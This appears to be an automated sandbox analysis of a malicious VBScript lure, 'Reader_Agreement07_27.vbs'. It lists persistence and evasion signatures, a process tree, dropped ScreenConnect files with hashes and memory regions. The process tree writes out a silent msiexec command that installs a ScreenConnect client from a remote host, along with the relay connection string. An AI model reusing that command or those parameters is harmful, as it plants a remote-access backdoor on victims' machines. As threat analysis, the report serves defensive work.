Analysis

  • max time kernel
    148s
  • max time network
    136s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 00:11

General

  • Target
    Reader_Agreement07_27.vbs
  • Size 217B
  • Sample260804-agpzbazbqa
  • SHA256 87002e824f9a9cf99addccdab657c6b2e9cf37f5e316b573bc36b8e722593ee0
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 9 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 24 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Reader_Agreement07_27.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:2536
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i https://bookcarriage.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest /quiet /norestart
      2⤵
      • Use of msiexec (install) with remote resource
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:5724
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4748
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C4C526CEFE4C70D7C79498C56181A64F
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2760
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSIB80C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240761171 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:5972
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 4542CD97421DFA534CDB1A9BD2DF476E E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4728
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4596
    • C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-nyhu6g-relay.screenconnect.com&p=443&s=ea93e8fb-0529-481d-a02a-4b97560a0762&k=BgIAAACkAABSU0ExAAgAAAEAAQDlPAAjW4ms7tI7NTOPZChMHD2F3VL85TWoE%2bz6E9FdTjq8qx9jQSeYFu7tiWOF9c%2fJrTRFUXi8DXWJXgqH553oX%2fn9vzE4hd8fPnyK1rAOGteWauQ0OCwAeheJAPyGYqbU6Xnnyv8zrnQqEHYCSk3l50WHm1qduL7s%2f5RRcXpRv9INIXc%2fh3UoX7dM8uWNk8E74m44bel3lCSVQhHgnwAVgjruWvKFSQppQVj9q8QcChNzpeYbIXuFm1xnq80JTT3xCLQCBfPa9%2fvBnwh4tpA64ZCci4V8H14GUKM0irbtiSYyKunYD4LGOfB5ZIJufZ59WfLzGwMncCBeJ6kFCDmn"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1132
      • C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.WindowsClient.exe" "RunRole" "610d06a9-16ac-4c70-b5d3-1ed5c936a459" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3100
      • C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.WindowsClient.exe" "RunRole" "bea4bf38-1ccb-455a-8fe3-2ea28ca7993a" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3420

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e59bcef.rbs

          • Path C:\Config.Msi\e59bcef.rbs
          • Size 214KB
          • SHA256 51950a50485d0ad6b519f44c4cc3de4fdd6f03687e124014da86589b78ee9e1e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\Client.en-US.resources
          • Size 64KB
          • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\Client.resources
          • Size 6KB
          • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.Client.dll
          • Size 412KB
          • SHA256 4010ea184982e71ad71e76b43266488c954f665324b89ef042cea9e463a60c9d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.ClientService.dll
          • Size 91KB
          • SHA256 6e6aa42b107d3e82b7b7dc18a75eee3f09e9f268788c0a7edbbc617152adf178
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 a94ecccb5b88e3860d619fbb3b87ff4af6448240ab65b89d610f348d75e793f2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.Core.dll
          • Size 577KB
          • SHA256 eedbd9ba4755f238af397c71b575082e18a31eabacc22abb4949f92fe991e169
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 305663a05c77c8058569a976db740aa2f20b66583f0381059633b628376570fc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.WindowsClient.exe
          • Size 676KB
          • SHA256 f49ca44ae19ec33053d76aeca7136193095b6583888a0be063b8120c3c9226c7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 ce75ee1188726b49d46477166faac6f8715ca1aa4afc5b8a687fcbfcd541c0c2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\system.config
          • Size 956B
          • SHA256 207c59f52766bde13b9a4ff1e20da5eca7b5e793c9fbfa5955bb65ff6b03a4cb
          • MD5 SHA1 SHA512 TLSH

          MSIAE47.tmp

          • Path C:\Windows\Installer\MSIAE47.tmp
          • Size 9.8MB
          • SHA256 78a88a88627cf823af3c9bd04b9b69ec487a933de10d2a7da241ba74ce3bc613
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIB80C.tmp

          • Path C:\Windows\Installer\MSIB80C.tmp
          • Size 1.1MB
          • SHA256 18bacfd2a7c95800b6279cb8731bf03c8bbb526f5bc3790254a8e06d7ceee8ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSIB80C.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSIB80C.tmp-\ScreenConnect.Core.dll
          • Size 567KB
          • SHA256 15fec18d3a8990cdb540897ede61227353165668048c001164fcd22233cc8390
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSIB80C.tmp-\ScreenConnect.InstallerActions.dll
          • Size 24KB
          • SHA256 c1142cc3ae09a7d3b5392539c29cbeb585543a38c93e37e55d82cbe0bb56d588
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSIB80C.tmp-\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 ae3005e1ca932eccde09c479fde2ecf8ea2feeb908dec4f0c830eab671276454
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIBEE4.tmp

          • Path C:\Windows\Installer\MSIBEE4.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          nu5k5mc5.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (31eb93eb9af6d619)\nu5k5mc5.newcfg
          • Size 883B
          • SHA256 20637e8ddce314323fb775c54776b965a20b9ec05385984654248b079c03a922
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (31eb93eb9af6d619)\user.config
          • Size 520B
          • SHA256 214d2abc93330697b928ccad4c5fa68770377a92f0d3361cd82220e12fac53ca
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (31eb93eb9af6d619)\user.config
          • Size 683B
          • SHA256 2f9c162d9e792b1fa8588b8a9cc8cddcf122e140ffed5d0477b0c0d6d31cb1fb
          • MD5 SHA1 SHA512 TLSH

          memory/1132-102-0x0000000004BC0000-0x0000000004C10000-memory.dmp

          memory/1132-89-0x0000000004A10000-0x0000000004BC0000-memory.dmp

          memory/1132-119-0x0000000004C80000-0x0000000004CEC000-memory.dmp

          memory/1132-85-0x00000000047C0000-0x0000000004854000-memory.dmp

          memory/1132-122-0x00000000049D0000-0x0000000004A11000-memory.dmp

          memory/1132-124-0x0000000004F80000-0x0000000005056000-memory.dmp

          memory/1132-79-0x00000000046C0000-0x00000000046DA000-memory.dmp

          memory/1132-120-0x0000000004D90000-0x0000000004E22000-memory.dmp

          memory/3100-146-0x000000001B880000-0x000000001BA30000-memory.dmp

          memory/3100-148-0x000000001BBC0000-0x000000001BD48000-memory.dmp

          memory/3100-149-0x0000000000E70000-0x0000000000EB1000-memory.dmp

          memory/3100-147-0x0000000000D40000-0x0000000000D5A000-memory.dmp

          memory/3100-145-0x000000001B630000-0x000000001B6C4000-memory.dmp

          memory/3100-143-0x0000000000520000-0x00000000005CE000-memory.dmp

          memory/3100-144-0x000000001B0F0000-0x000000001B15C000-memory.dmp

          memory/3420-151-0x00000000026E0000-0x0000000002721000-memory.dmp

          memory/3420-152-0x000000001CBC0000-0x000000001CCB0000-memory.dmp

          memory/5972-29-0x0000000005E50000-0x0000000005E7E000-memory.dmp

          memory/5972-41-0x0000000006200000-0x00000000063B0000-memory.dmp

          memory/5972-33-0x0000000005E80000-0x0000000005E8C000-memory.dmp

          memory/5972-42-0x0000000006970000-0x0000000006F2A000-memory.dmp

          memory/5972-37-0x0000000005F30000-0x0000000005FC4000-memory.dmp